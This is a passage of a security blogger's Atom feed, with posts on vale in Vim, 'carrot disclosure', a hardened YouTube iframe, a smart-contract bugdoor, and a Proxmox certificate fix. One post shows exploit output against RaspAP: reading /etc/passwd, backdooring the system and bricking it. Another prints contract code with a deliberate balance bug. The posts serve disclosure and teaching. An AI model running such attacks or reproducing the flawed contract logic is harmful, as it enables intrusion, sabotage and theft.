class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"nv\"&gt;vale&lt;/span&gt;\\&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;--&lt;/span&gt;&lt;span class=\"nv\"&gt;output&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"nv\"&gt;line&lt;/span&gt;\\&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;%&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;errorformat&lt;/span&gt;&lt;span class=\"o\"&gt;=%&lt;/span&gt;&lt;span class=\"nv\"&gt;f&lt;/span&gt;:&lt;span class=\"o\"&gt;%&lt;/span&gt;&lt;span class=\"nv\"&gt;l&lt;/span&gt;:&lt;span class=\"o\"&gt;%&lt;/span&gt;&lt;span class=\"nv\"&gt;c&lt;/span&gt;:&lt;span class=\"o\"&gt;%&lt;/span&gt;&lt;span class=\"nv\"&gt;o&lt;/span&gt;:&lt;span class=\"o\"&gt;%&lt;/span&gt;&lt;span class=\"nv\"&gt;m&lt;/span&gt;\n&lt;span class=\"w\"&gt;    &lt;/span&gt;&lt;span class=\"nv\"&gt;nnoremap&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;&amp;lt;&lt;/span&gt;&lt;span class=\"nv\"&gt;Leader&lt;/span&gt;&lt;span class=\"o\"&gt;&amp;gt;&lt;/span&gt;&lt;span class=\"nv\"&gt;M&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;:&lt;span class=\"nv\"&gt;make&lt;/span&gt;&lt;span class=\"o\"&gt;&amp;lt;&lt;/span&gt;&lt;span class=\"nv\"&gt;CR&lt;/span&gt;&lt;span class=\"o\"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class=\"nv\"&gt;CR&lt;/span&gt;&lt;span class=\"o\"&gt;&amp;gt;&lt;/span&gt;\n&lt;span class=\"w\"&gt;  &lt;/span&gt;&lt;span class=\"k\"&gt;end&lt;/span&gt;\n&lt;span class=\"nv\"&gt;augroup&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"k\"&gt;end&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;It checks if I have a &lt;code&gt;~/vale.ini&lt;/code&gt; file, and if so sets\n&lt;a href=\"https://vimhelp.org/options.txt.html#%27makeprg%27\"&gt;&lt;code&gt;makeprg&lt;/code&gt;&lt;/a&gt; to vale, and\nconfigure &lt;a href=\"https://vimhelp.org/quickfix.txt.html#errorformat\"&gt;&lt;code&gt;errorformat&lt;/code&gt;&lt;/a&gt; to\nproperly parse vale's output. Now every time I type &lt;code&gt;&amp;lt;Leader&amp;gt; M&lt;/code&gt;, I get vale's\ndiagnostics in my &lt;a href=\"https://vimhelp.org/quickfix.txt.html\"&gt;quickfix window&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;The next steps would likely be to &lt;s&gt;waste&lt;/s&gt; spend some time improving the theme\nof the aforementioned window, add some ad hoc rules to vale, and maybe try to\nshow the diagnostics inline like the spellechecker is doing.&lt;/p&gt;</content><category term=\"sysadmin\"></category></entry><entry><title>Carrot disclosure</title><link href=\"https://dustri.org/b/carrot-disclosure.html\" rel=\"alternate\"></link><published>2024-03-08T21:30:00+01:00</published><updated>2024-03-08T21:30:00+01:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2024-03-08:/b/carrot-disclosure.html</id><summary type=\"html\">&lt;p&gt;Once you have found a vulnerability, you can either sit on it, or disclose it.\nThere are usually two ways to disclose, with minor variations:&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Coordinated_vulnerability_disclosure\"&gt;Coordinated Disclosure&lt;/a&gt;,\n   where one gives time to the vendor to issue a fix before disclosing&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Full_disclosure_(computer_security)\"&gt;Full Disclosure&lt;/a&gt;,\n   where one discloses immediately without notifying anyone before …&lt;/li&gt;&lt;/ol&gt;</summary><content type=\"html\">&lt;p&gt;Once you have found a vulnerability, you can either sit on it, or disclose it.\nThere are usually two ways to disclose, with minor variations:&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Coordinated_vulnerability_disclosure\"&gt;Coordinated Disclosure&lt;/a&gt;,\n   where one gives time to the vendor to issue a fix before disclosing&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Full_disclosure_(computer_security)\"&gt;Full Disclosure&lt;/a&gt;,\n   where one discloses immediately without notifying anyone before.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;I would like to coin a 3&lt;sup&gt;rd&lt;/sup&gt; one: &lt;em&gt;Carrot Disclosure&lt;/em&gt;, dangling a\n&lt;a href=\"https://en.wikipedia.org/wiki/Carrot_and_stick\"&gt;metaphorical carrot&lt;/a&gt; in front\nof the vendor to incentivise change. The main idea is to only publish the\n(redacted) output of the exploit for a critical vulnerability, to showcase that the\nsoftware is exploitable. Now the vendor has two choices: either perform a\nholistic audit of its software, fixing as many issues as possible in the hope\nof fixing the showcased vulnerability; or losing users who might not be happy\nrunning a known-vulnerable software. Users of this disclosure model are of\ncourse called Bugs Bunnies.&lt;/p&gt;\n&lt;p&gt;We all looked at catastrophic web applications, finding a ton\nof bugs, and deciding not to bother with reporting them, because they were too\nmany of them, because we knew that there will be more of them lurking, because\nthe vendor is a complete tool and it would take more time trying to properly\ndisclose things than it took finding the vulnerabilities, … This is an\nexcellent use case for Carrot Disclosure! Of course, for unauditably-large\ncodebases, it doesn't work: you've got a Linux LPE, who cares.&lt;/p&gt;\n&lt;p&gt;Interestingly, it shifts the work balance a bit: it's usually harder to write\nan exploit than it's to fix here. But here, the vendor has to audit and fix\nits entire codebase, for the ~low cost of one (1) exploit, that you don't even\nhave to publish if you don't want to.&lt;/p&gt;\n&lt;p&gt;If you want to be extra-nice, you can:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Publish the SHA256 of the exploit, to prove\n  that you weren't making things up, once it's fixed or if you get sued for\n  whatever frivolous reasons like libel.&lt;/li&gt;\n&lt;li&gt;Maintain the exploits against new versions, proving that the exploit is still\n  working.&lt;/li&gt;\n&lt;li&gt;Publish the exploit once it has been fixed, otherwise you risk to have\n  vendors call your bluff next time, or at least notify that the issue has been\n  fixed. Since you don't have hardcoded offsets because we're in 2024, you can even\n  put this in a continuous integration.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Let's have an example, as a treat. A couple of shitty vulnerabilities for\n&lt;a href=\"https://raspap.com/\"&gt;RaspAP&lt;/a&gt; that took me 5 minutes to find and at least 5\nmore to write an exploit for each of them:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"gp\"&gt;$ &lt;/span&gt;./read-raspap.py&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"m\"&gt;10&lt;/span&gt;.3.141.1&lt;span class=\"w\"&gt; &lt;/span&gt;/etc/passwd&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;|&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;head&lt;span class=\"w\"&gt; &lt;/span&gt;-n&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"m\"&gt;5&lt;/span&gt;\n&lt;span class=\"go\"&gt;[+] Target is running RaspAP&lt;/span&gt;\n&lt;span class=\"go\"&gt;[+] Dumping /etc/passwd&lt;/span&gt;\n&lt;span class=\"go\"&gt;root:x:0:0:root:/root:/bin/bash&lt;/span&gt;\n&lt;span class=\"go\"&gt;daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin&lt;/span&gt;\n&lt;span class=\"go\"&gt;bin:x:2:2:bin:/bin:/usr/sbin/nologin&lt;/span&gt;\n&lt;span class=\"gp\"&gt;$ &lt;/span&gt;./authed-mitm-raspap.py&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"m\"&gt;10&lt;/span&gt;.3.141.1\n&lt;span class=\"go\"&gt;[+] default login/password in use&lt;/span&gt;\n&lt;span class=\"go\"&gt;[+] backdooring system…&lt;/span&gt;\n&lt;span class=\"go\"&gt;[+] system backdoored, enjoy your permanent MITM!&lt;/span&gt;\n&lt;span class=\"gp\"&gt;$ &lt;/span&gt;./brick-raspap.py&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"m\"&gt;10&lt;/span&gt;.3.141.1\n&lt;span class=\"go\"&gt;[+] Target is running RaspAP&lt;/span&gt;\n&lt;span class=\"go\"&gt;[+] Bricking the system…&lt;/span&gt;\n&lt;span class=\"go\"&gt;[+] System bricked!&lt;/span&gt;\n&lt;span class=\"gp\"&gt;$&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;It looks like there is a low-hanging unauthenticated arbitrary code execution\nchainable with a privilege escalation to root as well, but since writing an\nexploit would take more than 5 minutes, I can't be bothered, and odds are that\nit'll be fixed along with the persistent denial-of-service anyway. Let me know\nwhen you think those are fixed.&lt;/p&gt;</content><category term=\"security\"></category></entry><entry><title>Youtube video embedding harm reduction</title><link href=\"https://dustri.org/b/youtube-video-embedding-harm-reduction.html\" rel=\"alternate\"></link><published>2024-02-27T14:45:00+01:00</published><updated>2024-02-27T14:45:00+01:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2024-02-27:/b/youtube-video-embedding-harm-reduction.html</id><summary type=\"html\">&lt;p&gt;Embedding external content on a website in the current enshittocene period is\nmore annoying than ever, so here is a copy-pasteable snippet to embed a youtube\nvideo while reducing its tracking and nuisance capabilities as much as possible:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"p\"&gt;&amp;lt;&lt;/span&gt;&lt;span class=\"nt\"&gt;iframe&lt;/span&gt;\n    &lt;span class=\"na\"&gt;credentialless&lt;/span&gt;\n    &lt;span class=\"na\"&gt;allowfullscreen&lt;/span&gt;\n    &lt;span class=\"na\"&gt;referrerpolicy&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;no-referrer&amp;quot;&lt;/span&gt;\n    &lt;span class=\"na\"&gt;sandbox&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;allow-scripts allow-same-origin&amp;quot;&lt;/span&gt;\n    &lt;span class=\"na\"&gt;allow&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;accelerometer &amp;#39;none&amp;#39;; ambient-light-sensor …&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type=\"html\">&lt;p&gt;Embedding external content on a website in the current enshittocene period is\nmore annoying than ever, so here is a copy-pasteable snippet to embed a youtube\nvideo while reducing its tracking and nuisance capabilities as much as possible:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"p\"&gt;&amp;lt;&lt;/span&gt;&lt;span class=\"nt\"&gt;iframe&lt;/span&gt;\n    &lt;span class=\"na\"&gt;credentialless&lt;/span&gt;\n    &lt;span class=\"na\"&gt;allowfullscreen&lt;/span&gt;\n    &lt;span class=\"na\"&gt;referrerpolicy&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;no-referrer&amp;quot;&lt;/span&gt;\n    &lt;span class=\"na\"&gt;sandbox&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;allow-scripts allow-same-origin&amp;quot;&lt;/span&gt;\n    &lt;span class=\"na\"&gt;allow&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;accelerometer &amp;#39;none&amp;#39;; ambient-light-sensor &amp;#39;none&amp;#39;; autoplay &amp;#39;none&amp;#39;; battery &amp;#39;none&amp;#39;; bluetooth &amp;#39;none&amp;#39;; browsing-topics &amp;#39;none&amp;#39;; camera &amp;#39;none&amp;#39;; ch-ua &amp;#39;none&amp;#39;; display-capture &amp;#39;none&amp;#39;; domain-agent &amp;#39;none&amp;#39;; document-domain &amp;#39;none&amp;#39;; encrypted-media &amp;#39;none&amp;#39;; execution-while-not-rendered &amp;#39;none&amp;#39;; execution-while-out-of-viewport &amp;#39;none&amp;#39;; gamepad &amp;#39;none&amp;#39;; geolocation &amp;#39;none&amp;#39;; gyroscope &amp;#39;none&amp;#39;; hid &amp;#39;none&amp;#39;; identity-credentials-get &amp;#39;none&amp;#39;; idle-detection &amp;#39;none&amp;#39;; keyboard-map &amp;#39;none&amp;#39;; local-fonts &amp;#39;none&amp;#39;; magnetometer &amp;#39;none&amp;#39;; microphone &amp;#39;none&amp;#39;; midi &amp;#39;none&amp;#39;; navigation-override &amp;#39;none&amp;#39;; otp-credentials &amp;#39;none&amp;#39;; payment &amp;#39;none&amp;#39;; picture-in-picture &amp;#39;none&amp;#39;; publickey-credentials-create &amp;#39;none&amp;#39;; publickey-credentials-get &amp;#39;none&amp;#39;; screen-wake-lock &amp;#39;none&amp;#39;; serial &amp;#39;none&amp;#39;; speaker-selection &amp;#39;none&amp;#39;; sync-xhr &amp;#39;none&amp;#39;; usb &amp;#39;none&amp;#39;; web-share &amp;#39;none&amp;#39;; window-management &amp;#39;none&amp;#39;; xr-spatial-tracking &amp;#39;none&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class=\"err\"&gt;,&lt;/span&gt;\n    &lt;span class=\"na\"&gt;csp&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;sandbox allow-scripts allow-same-origin;&amp;quot;&lt;/span&gt;\n    &lt;span class=\"na\"&gt;width&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;560&amp;quot;&lt;/span&gt;\n    &lt;span class=\"na\"&gt;height&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;315&amp;quot;&lt;/span&gt;\n    &lt;span class=\"na\"&gt;src&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;https://www.youtube-nocookie.com/embed/jfKfPfyJRdk&amp;quot;&lt;/span&gt;\n    &lt;span class=\"na\"&gt;title&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;lofi hip hop radio 📚 - beats to relax/study to&amp;quot;&lt;/span&gt;\n    &lt;span class=\"na\"&gt;frameborder&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;0&amp;quot;&lt;/span&gt;\n    &lt;span class=\"na\"&gt;loading&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s\"&gt;&amp;quot;lazy&amp;quot;&lt;/span&gt;\n&lt;span class=\"p\"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class=\"nt\"&gt;iframe&lt;/span&gt;&lt;span class=\"p\"&gt;&amp;gt;&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://developer.mozilla.org/en-US/docs/Web/Security/IFrame_credentialless\"&gt;&lt;code&gt;credentialless&lt;/code&gt;&lt;/a&gt; to load youtube in a blank disposable context,\n  without access to the origin's network, cookies, and storage data.&lt;/li&gt;\n&lt;li&gt;&lt;code&gt;allowfullscreen&lt;/code&gt; because some people like it&lt;/li&gt;\n&lt;li&gt;&lt;code&gt;referrerpolicy&lt;/code&gt; set to not leak your &lt;a href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer\"&gt;referer&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;code&gt;sandbox&lt;/code&gt; to only allow javascript execution and SOP. Downloads, forms,\n  modals, screen orientation, pointer lock, popups, presentation session,\n  &lt;a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Storage_Access_API\"&gt;storage access&lt;/a&gt; and thus third-party cookies, \n  top-navigation, … are all denied.&lt;/li&gt;\n&lt;li&gt;&lt;code&gt;allow&lt;/code&gt; with &lt;a href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy#directives\"&gt;every single directives&lt;/a&gt;\n  set to \"absolutely-fucking-not\", and yes, they have to be all set one by one,\n  and check regularly is new directive were added,\n  because there is &lt;a href=\"https://github.com/w3c/webappsec-permissions-policy/issues/208\"&gt;no deny-all&lt;/a&gt;\n  in the &lt;a href=\"https://w3c.github.io/webappsec-permissions-policy/\"&gt;spec&lt;/a&gt;. It seems\n  that every browser has its own list of directives, chrome is using &lt;a href=\"https://github.com/w3c/webappsec-permissions-policy/blob/main/features.md\"&gt;this one&lt;/a&gt;\n  while firefox' prefers the &lt;a href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy#directives\"&gt;MDN one&lt;/a&gt;,\n  and of course the two differ. No doubt this was designed with privacy, simplicity, maintainability and security in mind.&lt;/li&gt;\n&lt;li&gt;&lt;code&gt;src&lt;/code&gt; set to &lt;code&gt;www.youtube-nocookie.com&lt;/code&gt; instead of &lt;code&gt;youtube.com&lt;/code&gt;. Both\n   are official Google urls, but the former doesn't do tracking via cookies,\n   and disables API and interaction and interaction logging. Amusingly, it's\n   the player used on &lt;code&gt;whitehouse.gov&lt;/code&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;code&gt;csp&lt;/code&gt; set to &lt;code&gt;sandbox allow-scripts allow-same-origin;&lt;/code&gt; for compatibility's\n  sake, just in case.\n  I'd love to use a more restrictive policy, but the spec doesn't allow to\n  provide one, except if the embedded website explicitly allows it, and of\n  course youtube doesn't.&lt;/li&gt;\n&lt;li&gt;&lt;code&gt;loading=\"lazy\"&lt;/code&gt; in case people don't scroll far enough to see the video, no\n  need to make them do queries to Google for no reasons.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Don't forget to put a &lt;code&gt;title&lt;/code&gt; for &lt;a href=\"https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#accessibility_concerns\"&gt;accessibility's sake&lt;/a&gt;.&lt;/p&gt;</content><category term=\"web\"></category></entry><entry><title>A silly \"smart\" contract bug</title><link href=\"https://dustri.org/b/a-silly-smart-contract-bug.html\" rel=\"alternate\"></link><published>2024-02-16T13:30:00+01:00</published><updated>2024-02-16T13:30:00+01:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2024-02-16:/b/a-silly-smart-contract-bug.html</id><summary type=\"html\">&lt;p&gt;I was idling on a &lt;a href=\"https://github.com/stypr\"&gt;friend&lt;/a&gt;'s Discord server,\nwhen he posted a small snippet of code, taken from a &lt;a href=\"https://app.sentio.xyz/tx/1/0x4b9de8c56c8919e8598181449a3cc02df40435eb641eaec08ecce12d2342237f/contracts\"&gt;smart contract&lt;/a&gt;\napparently swapping &lt;a href=\"https://academy.binance.com/en/articles/what-is-wrapped-ether-weth-and-how-to-wrap-it\"&gt;WETH&lt;/a&gt; to &lt;a href=\"https://miner.build/\"&gt;MINER&lt;/a&gt;, but who cares, what's \ninteresting here is the bug, can you spot it?&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"kt\"&gt;function&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;_update&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"kt\"&gt;address&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;from&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kt\"&gt;address&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;to&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kt\"&gt;uint256&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;value&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kt\"&gt;bool&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;mint …&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type=\"html\">&lt;p&gt;I was idling on a &lt;a href=\"https://github.com/stypr\"&gt;friend&lt;/a&gt;'s Discord server,\nwhen he posted a small snippet of code, taken from a &lt;a href=\"https://app.sentio.xyz/tx/1/0x4b9de8c56c8919e8598181449a3cc02df40435eb641eaec08ecce12d2342237f/contracts\"&gt;smart contract&lt;/a&gt;\napparently swapping &lt;a href=\"https://academy.binance.com/en/articles/what-is-wrapped-ether-weth-and-how-to-wrap-it\"&gt;WETH&lt;/a&gt; to &lt;a href=\"https://miner.build/\"&gt;MINER&lt;/a&gt;, but who cares, what's \ninteresting here is the bug, can you spot it?&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"kt\"&gt;function&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;_update&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"kt\"&gt;address&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;from&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kt\"&gt;address&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;to&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kt\"&gt;uint256&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;value&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kt\"&gt;bool&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;mint&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kt\"&gt;internal&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;virtual&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;{&lt;/span&gt;\n&lt;span class=\"w\"&gt;        &lt;/span&gt;&lt;span class=\"kt\"&gt;uint256&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;fromBalance&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;_balances&lt;span class=\"p\"&gt;[&lt;/span&gt;from&lt;span class=\"p\"&gt;];&lt;/span&gt;\n&lt;span class=\"w\"&gt;        &lt;/span&gt;&lt;span class=\"kt\"&gt;uint256&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;toBalance&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;_balances&lt;span class=\"p\"&gt;[&lt;/span&gt;to&lt;span class=\"p\"&gt;];&lt;/span&gt;\n&lt;span class=\"w\"&gt;        &lt;/span&gt;&lt;span class=\"kt\"&gt;if&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;fromBalance&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;&amp;lt;&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;value&lt;span class=\"p\"&gt;)&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;{&lt;/span&gt;\n&lt;span class=\"w\"&gt;            &lt;/span&gt;revert&lt;span class=\"w\"&gt; &lt;/span&gt;ERC20InsufficientBalance&lt;span class=\"p\"&gt;(&lt;/span&gt;from&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;fromBalance&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;value&lt;span class=\"p\"&gt;);&lt;/span&gt;\n&lt;span class=\"w\"&gt;        &lt;/span&gt;&lt;span class=\"p\"&gt;}&lt;/span&gt;\n\n&lt;span class=\"w\"&gt;        &lt;/span&gt;unchecked&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;{&lt;/span&gt;\n&lt;span class=\"w\"&gt;            &lt;/span&gt;&lt;span class=\"c1\"&gt;// Overflow not possible: value &amp;lt;= fromBalance &amp;lt;= totalSupply.&lt;/span&gt;\n&lt;span class=\"w\"&gt;            &lt;/span&gt;_balances&lt;span class=\"p\"&gt;[&lt;/span&gt;from&lt;span class=\"p\"&gt;]&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;fromBalance&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;-&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;value&lt;span class=\"p\"&gt;;&lt;/span&gt;\n\n&lt;span class=\"w\"&gt;            &lt;/span&gt;&lt;span class=\"c1\"&gt;// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.&lt;/span&gt;\n&lt;span class=\"w\"&gt;            &lt;/span&gt;_balances&lt;span class=\"p\"&gt;[&lt;/span&gt;to&lt;span class=\"p\"&gt;]&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;toBalance&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;+&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;value&lt;span class=\"p\"&gt;;&lt;/span&gt;\n&lt;span class=\"w\"&gt;        &lt;/span&gt;&lt;span class=\"p\"&gt;}&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;As a hint, look at &lt;a href=\"https://app.sentio.xyz/tx/1/0x4b9de8c56c8919e8598181449a3cc02df40435eb641eaec08ecce12d2342237f\"&gt;this transaction&lt;/a&gt;.\nIsn't it a cute bugdoor?&lt;/p&gt;\n&lt;p&gt;The snippet is taken from &lt;a href=\"https://twitter.com/shoucccc/status/1757777764646859121\"&gt;this tweet&lt;/a&gt;,\ngiving the issue away. Thanks to &lt;a href=\"https://github.com/kjsman\"&gt;Jinseo Kim&lt;/a&gt; for holding my hand\nunderstanding what was going on there.&lt;/p&gt;</content><category term=\"security\"></category></entry><entry><title>Fixing the /usr/lib/ssl/certs debacle with Alpine Linux on Proxmox</title><link href=\"https://dustri.org/b/fixing-the-usrlibsslcerts-debacle-with-alpine-linux-on-proxmox.html\" rel=\"alternate\"></link><published>2024-02-05T17:00:00+01:00</published><updated>2024-02-05T17:00:00+01:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2024-02-05:/b/fixing-the-usrlibsslcerts-debacle-with-alpine-linux-on-proxmox.html</id><summary type=\"html\">&lt;p&gt;There are currently some issues with regard to OpenSSL and Alpine Linux on\nProxmox, tracked as &lt;a href=\"https://bugzilla.proxmox.com/show_bug.cgi?id=5194\"&gt;#5194&lt;/a&gt; by Promox since the 19&lt;sup&gt;th&lt;/sup&gt; of January, with some patches sent by\nemail (sigh) to fix the issue still waiting to land. The root cause being\nProxmox setting &lt;code&gt;SSL_CERT_FILE='/usr/lib/ssl …&lt;/code&gt;&lt;/p&gt;</summary><content type=\"html\">&lt;p&gt;There are currently some issues with regard to OpenSSL and Alpine Linux on\nProxmox, tracked as &lt;a href=\"https://bugzilla.proxmox.com/show_bug.cgi?id=5194\"&gt;#5194&lt;/a&gt; by Promox since the 19&lt;sup&gt;th&lt;/sup&gt; of January, with some patches sent by\nemail (sigh) to fix the issue still waiting to land. The root cause being\nProxmox setting &lt;code&gt;SSL_CERT_FILE='/usr/lib/ssl/cert.pem'&lt;/code&gt; when &lt;code&gt;pct enter&lt;/code&gt; is\nused, while on Alpine the &lt;code&gt;cert.pem&lt;/code&gt; file is in 